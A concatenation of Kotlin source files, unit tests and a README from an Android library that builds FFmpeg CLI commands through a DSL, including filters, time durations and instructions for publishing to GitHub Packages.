}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.value
import ai.moises.ffmpegdslandroid.ffmpegcommand.assertion.ValueAssertion
import ai.moises.ffmpegdslandroid.ffmpegcommand.command.CommandArgumentParser
import ai.moises.ffmpegdslandroid.ffmpegcommand.command.ValueCommandArgument
abstract class Value: ValueCommandArgument, CommandArgumentParser {
override fun parseToString(): String {
val trimmedValue = value.trim()
ValueAssertion.assert(trimmedValue)
return "\"${trimmedValue}\""
}
override fun toString(): String =
parseToString()
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.streamspecifier
/**
* Created by <NAME> on 05/07/21.
* github: @vnicius
* <EMAIL>
*
* @see https://ffmpeg.org/ffmpeg.html#Stream-specifiers-1
*/
enum class StreamType(val id: String) {
Video("v"),
Audio("a"),
Subtitle("s"),
Data("d"),
Attachment("t")
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.exception
import java.util.concurrent.TimeUnit
/**
* Created by <NAME> on 28/06/21.
* github: @vnicius
* <EMAIL>
*/
class InvalidTimeException(private val timeUnit: TimeUnit, val value: Number) :
Exception("The value $value to \"${timeUnit.name}\" is not valid")<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.timeduration.timedurationunit
import ai.moises.ffmpegdslandroid.ffmpegcommand.extension.compress
/**
* Created by <NAME> on 28/06/21.
* github: @vnicius
* <EMAIL>
*/
class NanosecondTimeDurationUnit: TimeDurationUnit {
override fun format(value: Number): String {
return "${value.compress()}us"
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.filter
import com.google.common.truth.Truth.assertThat
import ai.moises.ffmpegdslandroid.ffmpegcommand.streamspecifier.StreamSpecifier
import ai.moises.ffmpegdslandroid.ffmpegcommand.streamspecifier.StreamType
import org.junit.Test
/**
* Created by <NAME> on 05/07/21.
* github: @vnicius
* <EMAIL>
*/
class FilterTagGeneratorTest {
@Test
fun should_GenerateAStringInTagFormat_when_TheEnterIsAStreamSpecifier() {
val filterTagGenerator = FilterTagGenerator()
val tagString = filterTagGenerator.generateTagFromStreamSpecifier(StreamSpecifier(1, StreamType.Audio))
assertThat(tagString).isEqualTo("[1:a]")
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.assertion
import ai.moises.ffmpegdslandroid.ffmpegcommand.exception.StreamSpecifierIsBlankException
/**
* Created by <NAME> on 29/06/21.
* github: @vnicius
* <EMAIL>
*/
object StreamSpecifierAssertion: Assertion<String> {
override fun assert(value: String) {
if (value.isBlank()) throw StreamSpecifierIsBlankException()
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.filter.mixfilter.mixoption
import ai.moises.ffmpegdslandroid.ffmpegcommand.command.CommandArgumentParser
import ai.moises.ffmpegdslandroid.ffmpegcommand.command.KeyCommandArgument
import ai.moises.ffmpegdslandroid.ffmpegcommand.command.ValueCommandArgument
/**
* Created by <NAME> on 23/06/21.
* github: @vnicius
* <EMAIL>
*/
abstract class MixOption : KeyCommandArgument, ValueCommandArgument, CommandArgumentParser {
override fun parseToString(): String =
"${key.trim()}=${value.trim()}"
override fun toString(): String =
parseToString()
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.argument
import ai.moises.ffmpegdslandroid.ffmpegcommand.timeduration.TimeDuration
/**
* Created by <NAME> on 29/06/21.
* github: @vnicius
* <EMAIL>
*
* @see https://ffmpeg.org/ffmpeg.html#Main-options
*/
class InputTimeOffsetArgument(override val timeDuration: TimeDuration) :
TimeDurationArgument("-itsoffset") {
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.assertion
/**
* Created by <NAME> on 19/06/21.
* github: @vnicius
* <EMAIL>
*/
interface Assertion<T> {
fun assert(value: T)
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.initializer
import ai.moises.ffmpegdslandroid.ffmpegcommand.annotation.FFmpegInitializerMarker
import ai.moises.ffmpegdslandroid.ffmpegcommand.filter.panfilter.ChannelType
@FFmpegInitializerMarker
class PanInitializer {
var channelType: ChannelType = ChannelType.Mono
var gains: FloatArray = floatArrayOf()
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.filter.mixfilter
import ai.moises.ffmpegdslandroid.ffmpegcommand.filter.Filter
import ai.moises.ffmpegdslandroid.ffmpegcommand.filter.FilterTagGenerator
import ai.moises.ffmpegdslandroid.ffmpegcommand.filter.TaggedFilter
import ai.moises.ffmpegdslandroid.ffmpegcommand.filter.mixfilter.mixoption.MixOption
import ai.moises.ffmpegdslandroid.ffmpegcommand.streamspecifier.StreamSpecifier
abstract class MixFilter(
private val filterKey: String,
private val inputsStreamsSpecifiers: List<StreamSpecifier>? = null,
outputStreamSpecifier: StreamSpecifier? = null
) : Filter(), TaggedFilter {
override val key: String
get() = generateKey()
override val value: String
get() = generateMixFilterAsString()
private val mixFilters: MutableList<Filter> = mutableListOf()
private val mixOptions: MutableList<MixOption> = mutableListOf()
private val filterTagGenerator = FilterTagGenerator()
override val inputTag: String = generateInputSpecifier()
override val outputTag: String =
filterTagGenerator.generateTagFromStreamSpecifier(outputStreamSpecifier)
private fun generateMixFilterAsString(): String {
val filters = mixFilters.joinToString(",") { it.parseToString() }.takeIf { it.isNotBlank() }
?.let { ",$it" }
val options = mixOptions.joinToString(":") { it.parseToString() }
return "$options$filters$outputTag"
}
private fun generateInputSpecifier(): String {
return inputsStreamsSpecifiers?.joinToString("") {
filterTagGenerator.generateTagFromStreamSpecifier(
it
)
} ?: ""
}
private fun generateKey(): String = "$inputTag$filterKey"
fun addFilter(filter: Filter) {
mixFilters.add(filter)
}
fun addOption(mixOption: MixOption) {
mixOptions.add(mixOption)
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.annotation
/**
* Created by <NAME> on 19/06/21.
* github: @vnicius
* <EMAIL>
*/
@DslMarker
annotation class FFmpegInitializerMarker {}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.initializer
import ai.moises.ffmpegdslandroid.ffmpegcommand.annotation.FFmpegInitializerMarker
import ai.moises.ffmpegdslandroid.ffmpegcommand.streamspecifier.StreamSpecifier
/**
* Created by <NAME> on 21/06/21.
* github: @vnicius
* <EMAIL>
*/
@FFmpegInitializerMarker
class CodecInitializer {
var streamSpecifier: StreamSpecifier? = null
var codec: String = ""
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.extension
import kotlin.math.abs
/**
* Created by <NAME> on 28/06/21.
* github: @vnicius
* <EMAIL>
*/
fun Number.compress(): Number {
val intPart = this.toInt()
val compressedValue = when {
(this is Float && this - intPart == 0f) -> intPart
(this is Double && this - intPart == 0.0) -> intPart
else -> this
}
return compressedValue
}
fun Number.formatToTime(): String {
val absLongValue = abs(this.toLong())
if (absLongValue >= 10) {
return this.toString()
}
val absValue = when(this) {
is Double -> abs(this)
is Float -> abs(this)
else -> absLongValue
}
val stringValue = "0$absValue"
val signal = if (this.toInt() < 0) {
"-"
} else {
""
}
return signal + stringValue
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.timeduration
import ai.moises.ffmpegdslandroid.ffmpegcommand.timeduration.timedurationunit.MillisecondTimeDurationUnit
import ai.moises.ffmpegdslandroid.ffmpegcommand.timeduration.timedurationunit.NanosecondTimeDurationUnit
import ai.moises.ffmpegdslandroid.ffmpegcommand.timeduration.timedurationunit.SecondTimeDurationUnit
/**
* Created by <NAME> on 28/06/21.
* github: @vnicius
* <EMAIL>
*/
class TimeDurationBuilder {
fun toSecond(second: Double): TimeDuration = SimpleTimeDuration(second, SecondTimeDurationUnit())
fun toMillisecond(millisecond: Long): TimeDuration =
SimpleTimeDuration(millisecond, MillisecondTimeDurationUnit())
fun toNanosecond(nanosecond: Long): TimeDuration =
SimpleTimeDuration(nanosecond, NanosecondTimeDurationUnit())
fun toTimePosition(hour: Int, minute: Int, second: Double): TimeDuration =
TimePosition(hour, minute, second)
fun toTimePosition(minute: Int, second: Double): TimeDuration =
TimePosition(minute, second)
fun toTimePosition(second: Double): TimeDuration =
TimePosition(second)
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.filter
import ai.moises.ffmpegdslandroid.ffmpegcommand.streamspecifier.StreamSpecifier
/**
* Created by <NAME> on 23/06/21.
* github: @vnicius
* <EMAIL>
*/
class FilterTagGenerator {
fun generateTagFromStreamSpecifier(streamSpecifier: StreamSpecifier?): String =
streamSpecifier?.let { "[${it.parseToString()}]" } ?: ""
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.timeduration.timedurationunit
import com.google.common.truth.Truth.assertThat
import org.junit.Test
/**
* Created by <NAME> on 30/06/21.
* github: @vnicius
* <EMAIL>
*/
class SecondTimeDurationUnitTest {
private val secondTimeDurationUnit = SecondTimeDurationUnit()
@Test
fun should_CorrectlyFormatTheValueToSecondsInString_when_ValueIsAPositiveValue() {
val secondsInString = secondTimeDurationUnit.format(2f)
assertThat(secondsInString).matches("2.0")
}
@Test
fun should_CorrectlyFormatTheValueToSecondsInString_when_ValueIsANegativeValue() {
val secondsInString = secondTimeDurationUnit.format(-10.5f)
assertThat(secondsInString).matches("-10.5")
}
@Test
fun should_KeepAllDecimalPartOnFormattedString_when_ValueIsALongDecimalValue() {
val secondsInString = secondTimeDurationUnit.format(0.5123123123123)
assertThat(secondsInString).matches("0.5123123123123")
}
}<file_sep>package ai.moises.ffmpegdslandroidexample
import android.os.Bundle
import android.util.Log
import android.widget.TextView
import androidx.appcompat.app.AppCompatActivity
import ai.moises.ffmpegdslandroid.ffmpegcommand.ffmpegCommand
import ai.moises.ffmpegdslandroid.ffmpegcommand.filter.FilterGroup
import ai.moises.ffmpegdslandroid.ffmpegcommand.filter.panfilter.ChannelType
import ai.moises.ffmpegdslandroid.ffmpegcommand.initializer.minutes
import ai.moises.ffmpegdslandroid.ffmpegcommand.initializer.seconds
import ai.moises.ffmpegdslandroid.ffmpegcommand.streamspecifier.StreamSpecifier
import ai.moises.ffmpegdslandroid.ffmpegcommand.streamspecifier.StreamType
import ai.moises.ffmpegdslandroid.ffmpegcommand.timeduration.Duration
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
val command = ffmpegCommand {
isOverrideAllowed = true
input {
seekStart = minutes(2)
path = "test.mp3"
inputTimeOffset = seconds(0.3102834467120186)
}
input {
seekStart = minutes(2)
path = "test_2.mp3"
}
filterComplex {
val filterGroups = mutableListOf<FilterGroup>()
filterGroup(
StreamSpecifier(0, StreamType.Audio),
StreamSpecifier(StreamType.Audio, 0)
) {
volume = 1.2f
pan {
channelType = ChannelType.Stereo
gains = floatArrayOf(1f, 0f)
}
}.also(filterGroups::add)
filterGroup(
StreamSpecifier(1, StreamType.Audio),
StreamSpecifier(StreamType.Audio, 1)
) {
volume = 1.5f
pan {
channelType = ChannelType.Stereo
gains = floatArrayOf(0f, 1f)
}
}.also(filterGroups::add)
amix(
filterGroups.mapNotNull { it.outputStreamSpecifier },
StreamSpecifier(StreamType.Audio, 3)
) {
inputs = 2
duration = Duration.Longest
dropoutTransition = 2
volume = 2
}
}
map(tag(StreamSpecifier(StreamType.Audio, 3)))
outputPath = "out.mp3"
}
findViewById<TextView>(R.id.text_view).text = command
Log.d("command", command)
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.initializer
import ai.moises.ffmpegdslandroid.ffmpegcommand.annotation.FFmpegInitializerMarker
import ai.moises.ffmpegdslandroid.ffmpegcommand.argument.FilterComplexArgument
import ai.moises.ffmpegdslandroid.ffmpegcommand.filter.FilterGroup
import ai.moises.ffmpegdslandroid.ffmpegcommand.filter.mixfilter.AudioMixFilter
import ai.moises.ffmpegdslandroid.ffmpegcommand.streamspecifier.StreamSpecifier
@FFmpegInitializerMarker
class FilterComplexInitializer(private val filterComplexArgument: FilterComplexArgument) {
fun filterGroup(
inputStreamSpecifier: StreamSpecifier? = null,
outputStreamSpecifier: StreamSpecifier? = null,
initializer: FilterGroupInitializer.() -> Unit
): FilterGroup {
val filterGroup = FilterGroup(inputStreamSpecifier, outputStreamSpecifier)
FilterGroupInitializer(filterGroup).apply(initializer)
filterComplexArgument.addFilterGroup(filterGroup)
return filterGroup
}
fun amix(
inputsStreamsSpecifiers: List<StreamSpecifier>? = null,
outputStreamSpecifier: StreamSpecifier? = null,
initializer: AudioMixInitializer.() -> Unit
): AudioMixFilter {
val audioMixFilter = AudioMixFilter(inputsStreamsSpecifiers, outputStreamSpecifier)
AudioMixInitializer(audioMixFilter).apply(initializer)
filterComplexArgument.addFilter(audioMixFilter)
return audioMixFilter
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.argument
import ai.moises.ffmpegdslandroid.ffmpegcommand.assertion.PathAssertion
class InputArgument(path: String): Argument() {
override val key: String = "-i"
override val value: String = path
init {
PathAssertion.assert(path)
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.initializer
import ai.moises.ffmpegdslandroid.ffmpegcommand.argument.CodecArgument
import ai.moises.ffmpegdslandroid.ffmpegcommand.argument.FilterComplexArgument
import ai.moises.ffmpegdslandroid.ffmpegcommand.argument.MapArgument
import ai.moises.ffmpegdslandroid.ffmpegcommand.command.CommandArgumentParser
import ai.moises.ffmpegdslandroid.ffmpegcommand.command.CommandBuilder
import ai.moises.ffmpegdslandroid.ffmpegcommand.filter.FilterTagGenerator
import ai.moises.ffmpegdslandroid.ffmpegcommand.flag.OverrideAllowedFlag
import ai.moises.ffmpegdslandroid.ffmpegcommand.streamspecifier.StreamSpecifier
import ai.moises.ffmpegdslandroid.ffmpegcommand.value.OutputPathValue
class FFmpegCommandInitializer(private val commandBuilder: CommandBuilder) {
var isOverrideAllowed: Boolean? = null
set(value) {
field = value
value?.let(::addIsOverrideAllowed)
}
var outputPath: String? = null
set(value) {
field = value
value?.let(::addOutputPathValue)
}
private fun addIsOverrideAllowed(isAllowed: Boolean) {
commandBuilder.addArgument(OverrideAllowedFlag(isAllowed))
}
private fun addOutputPathValue(path: String) {
commandBuilder.addArgument(OutputPathValue(path))
}
private fun addMapArgument(streamSpecifier: StreamSpecifier) {
commandBuilder.addArgument(MapArgument(streamSpecifier))
}
fun input(initializer: InputCommandInitializer.() -> Unit): List<CommandArgumentParser> {
val destinationList = mutableListOf<CommandArgumentParser>()
InputCommandInitializer(destinationList).apply(initializer)
destinationList.forEach {
commandBuilder.addArgument(it)
}
return destinationList
}
fun filterComplex(initializer: FilterComplexInitializer.() -> Unit): FilterComplexArgument {
val filterComplexArgument = FilterComplexArgument()
FilterComplexInitializer(filterComplexArgument).apply(initializer)
commandBuilder.addArgument(filterComplexArgument)
return filterComplexArgument
}
fun codec(initializer: CodecInitializer.() -> Unit): CodecArgument {
val codecInitializer = CodecInitializer().apply(initializer)
val codecArgument = CodecArgument(codecInitializer.codec, codecInitializer.streamSpecifier)
commandBuilder.addArgument(codecArgument)
return codecArgument
}
fun tag(streamSpecifier: StreamSpecifier): String =
FilterTagGenerator().generateTagFromStreamSpecifier(streamSpecifier)
fun map(streamSpecifier: StreamSpecifier): MapArgument {
val mapArgument = MapArgument(streamSpecifier)
commandBuilder.addArgument(mapArgument)
return mapArgument;
}
fun map(streamSpecifier: String): MapArgument {
val mapArgument = MapArgument(streamSpecifier)
commandBuilder.addArgument(mapArgument)
return mapArgument;
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.assertion
import ai.moises.ffmpegdslandroid.ffmpegcommand.exception.InvalidGainListSize
/**
* Created by <NAME> on 06/07/21.
* github: @vnicius
* <EMAIL>
*/
object GainAssertion: Assertion<FloatArray> {
override fun assert(value: FloatArray) {
if (value.isEmpty()) throw InvalidGainListSize()
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.exception
/**
* Created by <NAME> on 21/06/21.
* github: @vnicius
* <EMAIL>
*/
class CodecNotSupportedException(codec: String): Exception("The codec '$codec' is not supported")<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.argument
import ai.moises.ffmpegdslandroid.ffmpegcommand.assertion.KeyAssertion
import ai.moises.ffmpegdslandroid.ffmpegcommand.assertion.ValueAssertion
import ai.moises.ffmpegdslandroid.ffmpegcommand.command.CommandArgumentParser
import ai.moises.ffmpegdslandroid.ffmpegcommand.command.KeyCommandArgument
import ai.moises.ffmpegdslandroid.ffmpegcommand.command.ValueCommandArgument
abstract class Argument : KeyCommandArgument, ValueCommandArgument, CommandArgumentParser {
override fun parseToString(): String {
KeyAssertion.assert(key)
ValueAssertion.assert(value)
return "$key \"$value\"".trim()
}
override fun toString(): String {
return parseToString()
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.filter
import com.google.common.truth.Truth.assertThat
import ai.moises.ffmpegdslandroid.ffmpegcommand.exception.InvalidVolumeException
import org.junit.Test
/**
* Created by <NAME> on 05/07/21.
* github: @vnicius
* <EMAIL>
*/
class VolumeFilterTest {
@Test
fun should_CorrectlyParseTheVolumeFilterToString_when_TheValueIsAPositiveNumber() {
val volumeFilter = VolumeFilter(10)
val parsedString = volumeFilter.toString()
assertThat(parsedString).isEqualTo("volume=10")
}
@Test(expected = InvalidVolumeException::class)
fun should_Fail_when_ValueIsANegativeNumber() {
VolumeFilter(-5)
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand
import ai.moises.ffmpegdslandroid.ffmpegcommand.command.CommandBuilder
import ai.moises.ffmpegdslandroid.ffmpegcommand.initializer.FFmpegCommandInitializer
fun ffmpegCommand(initializer: FFmpegCommandInitializer.() -> Unit): String {
val commandBuilder = CommandBuilder()
FFmpegCommandInitializer(commandBuilder).apply(initializer)
return commandBuilder.build()
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.exception
/**
* Created by <NAME> on 29/06/21.
* github: @vnicius
* <EMAIL>
*/
class StreamSpecifierIsBlankException: Exception("The 'stream specifier' cannot be blank") {}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.exception
/**
* Created by <NAME> on 19/06/21.
* github: @vnicius
* <EMAIL>
*/
class ValueIsBlankException : Exception("The 'value' cannot be blank")<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.filter.panfilter
import com.google.common.truth.Truth.assertThat
import ai.moises.ffmpegdslandroid.ffmpegcommand.exception.InvalidGainListSize
import org.junit.Test
/**
* Created by <NAME> on 06/07/21.
* github: @vnicius
* <EMAIL>
*/
class StereoPanFilterTest {
@Test
fun should_CorrectlyParseStereoPanToString_when_GainHasASingleItem() {
val monoPanFilter = StereoPanFilter(floatArrayOf(1f))
val parsedString = monoPanFilter.parseToString()
assertThat(parsedString).isEqualTo("pan=stereo|c0<1.0*c0")
}
@Test
fun should_CorrectlyParseStereoPanToString_when_GainHasMultipleItems() {
val monoPanFilter = StereoPanFilter(floatArrayOf(1f, 2f))
val parsedString = monoPanFilter.parseToString()
assertThat(parsedString).isEqualTo("pan=stereo|c0<1.0*c0|c1<2.0*c1")
}
@Test(expected = InvalidGainListSize::class)
fun should_Fail_when_GainListIsEmpty() {
StereoPanFilter(floatArrayOf())
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.filter.mixfilter
import ai.moises.ffmpegdslandroid.ffmpegcommand.streamspecifier.StreamSpecifier
class AudioMixFilter(
inputsStreamsSpecifiers: List<StreamSpecifier>? = null,
outputStreamSpecifier: StreamSpecifier? = null
) : MixFilter("amix", inputsStreamsSpecifiers, outputStreamSpecifier) {
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.filter.mixfilter.mixoption
class DropoutTransitionOption(dropoutTransition: Int): MixOption() {
override val key: String = "dropout_transition"
override val value: String = dropoutTransition.toString()
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.filter
import com.google.common.truth.Truth.assertThat
import org.junit.Test
/**
* Created by <NAME> on 01/07/21.
* github: @vnicius
* <EMAIL>
*/
class AudioSampleRateFilterTest {
@Test
fun should_CorrectlyParseTheArgument_when_DefinedASampleRateIsAnIntegerValue() {
val audioSampleRateFilter = AudioSampleRateFilter(44100)
val parsedFilter = audioSampleRateFilter.parseToString()
assertThat(parsedFilter).isEqualTo("asetrate=44100")
}
@Test
fun should_CorrectlyParseTheArgument_when_DefinedASampleRateIsAnFloatValue() {
val audioSampleRateFilter = AudioSampleRateFilter(100f)
val parsedFilter = audioSampleRateFilter.parseToString()
assertThat(parsedFilter).isEqualTo("asetrate=100.0")
}
@Test
fun should_CorrectlyParseTheArgument_when_DefinedASampleRateIsAnDoubleValue() {
val audioSampleRateFilter = AudioSampleRateFilter(200.0)
val parsedFilter = audioSampleRateFilter.parseToString()
assertThat(parsedFilter).isEqualTo("asetrate=200.0")
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.timeduration.timedurationunit
import com.google.common.truth.Truth.assertThat
import org.junit.Test
/**
* Created by <NAME> on 30/06/21.
* github: @vnicius
* <EMAIL>
*/
class MillisecondTimeDurationUnitTest {
private val millisecondTimeDurationUnit = MillisecondTimeDurationUnit()
@Test
fun should_CorrectlyFormatTheValueToMillisecondsInString_when_ValueIsAPositiveValue() {
val secondsInString = millisecondTimeDurationUnit.format(2)
assertThat(secondsInString).matches("2ms")
}
@Test
fun should_CorrectlyFormatTheValueToMillisecondsInString_when_ValueIsANegativeValue() {
val secondsInString = millisecondTimeDurationUnit.format(-10)
assertThat(secondsInString).matches("-10ms")
}
@Test
fun should_CorrectlyFormatTheValueToMillisecondsInString_when_ValueIsADecimalNumber() {
val secondsInString = millisecondTimeDurationUnit.format(20.5f)
assertThat(secondsInString).matches("20.5ms")
}
@Test
fun should_KeepAllDecimalPartOnFormattedString_when_ValueIsALongDecimalNumber() {
val secondsInString = millisecondTimeDurationUnit.format(0.5123123123123)
assertThat(secondsInString).matches("0.5123123123123ms")
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.timeduration.timedurationunit
/**
* Created by <NAME> on 28/06/21.
* github: @vnicius
* <EMAIL>
*/
class SecondTimeDurationUnit: TimeDurationUnit {
override fun format(value: Number): String {
return value.toString()
}
}<file_sep><div align="center">
<h1>FFmpeg DSL Android</h1>
</div>
Pure Kotlin DSL library to build FFmpeg CLI commands in a more descriptive and comprehensive way
[![Latest Version](https://img.shields.io/badge/Latest_Version-0.1-green.svg)](https://github.com/orgs/moises-ai/packages?repo_name=ffmpeg-dsl-android)
---
## Summary
## Getting Start
Steps explain how the add the `FFmpeg DSL` library to your Android project.
Take [this post](https://ppulikal.medium.com/publishing-android-libraries-to-the-github-package-registry-part-2-3c5aab31f477)
as a reference to the following steps.
### 1 - Create the `github.properties` file on your root project directory
```
// github.properties
gpr.usr=00000 // Your Github User ID
gpr.key=xxxx // Your Github Personal Access Token with the permission to read packages
```
- **Alternative**: Set some environment variables with the credentials, something like `GPR_USER` and `GPR_API_KEY`.
\*_see the [github.properties.example](./github.properties.example) file_
\*_[how to get the Github User Id](https://stackoverflow.com/questions/17308954/where-can-i-find-the-github-id-in-my-account#:~:text=Up%20vote%202-,It%20can%20be%20easily%20retrieved%20using%20Github%20API%20.,.noreply.github.com%20.)_
### 2 - Add the repository to the `bundle.gradle` file
At the top of your `bundle.gradle` file, add the code to read the `github.properties`
content
```gradle
def githubProperties = new Properties()
try {
githubProperties.load(new FileInputStream(rootProject.file("github.properties")))
} catch(FileNotFoundException e) {
// ignore
}
def user = githubProperties.getProperty('gpr.usr', System.getenv("GPR_USER"))
def key = githubProperties.getProperty('gpr.key', System.getenv("GPR_API_KEY"))
```
At the `allprojects` block, add a custom Maven repository
```gradle
allprojects {
repositories {
...
maven {
name = "GitHubPackages"
url = uri("https://maven.pkg.github.com/moises-ai/ffmpeg-dsl-android")
credentials {
username = user
password = key
}
}
}
}
```
### 3 - Add the library dependency to your `app/bundle.gradle`
```gradle
implementation 'ai.moises:ffmpeg-dsl:[LATEST_VERSION]'
```
## Publishing a new version
Steps explain how to manually publish a new version of the `FFmpeg DSL` library
to the Github Package Registry.
Take [this post](https://proandroiddev.com/publishing-android-libraries-to-the-github-package-registry-part-1-7997be54ea5a)
as a reference to the following steps.
### 1 - Create the `github.properties` file on your root project directory
```
// github.properties
gpr.usr=00000 // Your Github User ID
gpr.key=xxxx // Your Github Personal Access Token with the permission to read packages
```
- **Alternative**: Set some environment variables with the credentials, something like `GPR_USER` and `GPR_API_KEY`.
\*_see the [github.properties.example](./github.properties.example) file_
\*_[how to get the Github User Id](https://stackoverflow.com/questions/17308954/where-can-i-find-the-github-id-in-my-account#:~:text=Up%20vote%202-,It%20can%20be%20easily%20retrieved%20using%20Github%20API%20.,.noreply.github.com%20.)_
### 2 - Update the version name
On the `build.gradle` file, update the `versionName` variable with the new version.
### 3 - Publishing
For Windows and Linux, run the flowing scripts under the root directory of the project.
```sh
$ gradle clean
$ gradle assemble
$ gradle publish
```
For MacOS, run the flowing scripts under the root directory of the project.
```sh
$ ./gradlew clean
$ ./gradlew assemble
$ ./gradlew publish
```
## Basic Usage
```kotlin
ffmpegCommand {
isOverrideAllowed = true
input {
seekStart = minutes(2)
inputTimeOffset = seconds(0.3102834467120186)
path = "test.mp3"
}
outputPath = "out.mp3"
}
// result: -y -ss "02:00" -itoffset "0.3102834467120186" -i "test.mp3" "out.mp3"
```
See the Example app for more usage examples.
## 👀 Check the Wiki for available commands and DSL syntax
<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.filter.mixfilter.mixoption
class InputsOption(inputsSize: Int): MixOption() {
override val key: String = "inputs"
override val value: String = inputsSize.toString()
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.assertion
import ai.moises.ffmpegdslandroid.ffmpegcommand.exception.InvalidTimeException
import java.util.concurrent.TimeUnit
import kotlin.math.abs
/**
* Created by <NAME> on 28/06/21.
* github: @vnicius
* <EMAIL>
*/
abstract class TimeAssertion<T> : Assertion<T> {
object MinutesAssertion: TimeAssertion<Int>() {
override fun assert(value: Int) {
if (value !in -59..59) {
throw InvalidTimeException(TimeUnit.MINUTES, value)
}
}
}
object SecondsAssertion: TimeAssertion<Double>() {
override fun assert(value: Double) {
if(abs(value.toInt()) >= 60) {
throw InvalidTimeException(TimeUnit.SECONDS, value)
}
}
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.initializer
import ai.moises.ffmpegdslandroid.ffmpegcommand.argument.InputArgument
import ai.moises.ffmpegdslandroid.ffmpegcommand.argument.InputTimeOffsetArgument
import ai.moises.ffmpegdslandroid.ffmpegcommand.argument.SeekStartArgument
import ai.moises.ffmpegdslandroid.ffmpegcommand.argument.TimeArgument
import ai.moises.ffmpegdslandroid.ffmpegcommand.command.CommandArgumentParser
import ai.moises.ffmpegdslandroid.ffmpegcommand.timeduration.TimeDuration
class InputCommandInitializer(private val destination: MutableList<CommandArgumentParser>) {
var path: String = ""
set(value) {
field = value
addInputArgument(path)
}
var seekStart: TimeDuration? = null
set(value) {
field = value
value?.let(::addSeekStartArgument)
}
var duration: TimeDuration? = null
set(value) {
field = value
value?.let(::addTimeArgument)
}
var inputTimeOffset: TimeDuration? = null
set(value) {
field = value
value?.let(::addInputTimeOffsetArgument)
}
private fun addInputArgument(path: String) {
destination.add(InputArgument(path))
}
private fun addSeekStartArgument(timeDuration: TimeDuration) {
destination.add(SeekStartArgument(timeDuration))
}
private fun addTimeArgument(timeDuration: TimeDuration) {
destination.add(TimeArgument(timeDuration))
}
private fun addInputTimeOffsetArgument(timeDuration: TimeDuration) {
destination.add(InputTimeOffsetArgument(timeDuration))
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.filter.panfilter
import ai.moises.ffmpegdslandroid.ffmpegcommand.assertion.GainAssertion
class StereoPanFilter(gains: FloatArray) : PanFilter(ChannelType.Stereo) {
init {
GainAssertion.assert(gains)
setupChannelsGain(gains)
}
private fun setupChannelsGain(gains: FloatArray) {
val channelsConfigs = gains.mapIndexed { index, value ->
"c$index<$value*c$index"
}
channelsConfigs.forEach(::addChannelConfig)
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.assertion
import ai.moises.ffmpegdslandroid.ffmpegcommand.exception.KeyIsBlankException
/**
* Created by <NAME> on 19/06/21.
* github: @vnicius
* <EMAIL>
*/
object KeyAssertion: Assertion<String> {
override fun assert(value: String) {
if (value.isBlank()) throw KeyIsBlankException()
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.value
class OutputPathValue(path: String) : Value() {
override val value: String = path
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.filter
/**
* Created by <NAME> on 23/06/21.
* github: @vnicius
* <EMAIL>
*/
interface TaggedFilter {
val inputTag: String
val outputTag: String
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.argument
import com.google.common.truth.Truth.assertThat
import ai.moises.ffmpegdslandroid.ffmpegcommand.exception.PathIsBlankException
import org.junit.Test
import org.junit.runner.RunWith
import org.junit.runners.JUnit4
/**
* Created by <NAME> on 19/06/21.
* github: @vnicius
* <EMAIL>
*/
@RunWith(JUnit4::class)
class InputArgumentTest {
@Test
fun should_MatchesTheInputPattern_when_ParseTheContentToString() {
val inputArgument = InputArgument("a")
val parsedArgument = inputArgument.parseToString()
assertThat(parsedArgument).matches("-i \"a\"")
}
@Test(expected = PathIsBlankException::class)
fun should_Fail_when_PathIsEmpty() {
InputArgument("")
}
@Test(expected = PathIsBlankException::class)
fun should_Fail_when_PathIsBlank() {
InputArgument(" ")
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.assertion
import ai.moises.ffmpegdslandroid.ffmpegcommand.exception.PathIsBlankException
/**
* Created by <NAME> on 19/06/21.
* github: @vnicius
* <EMAIL>
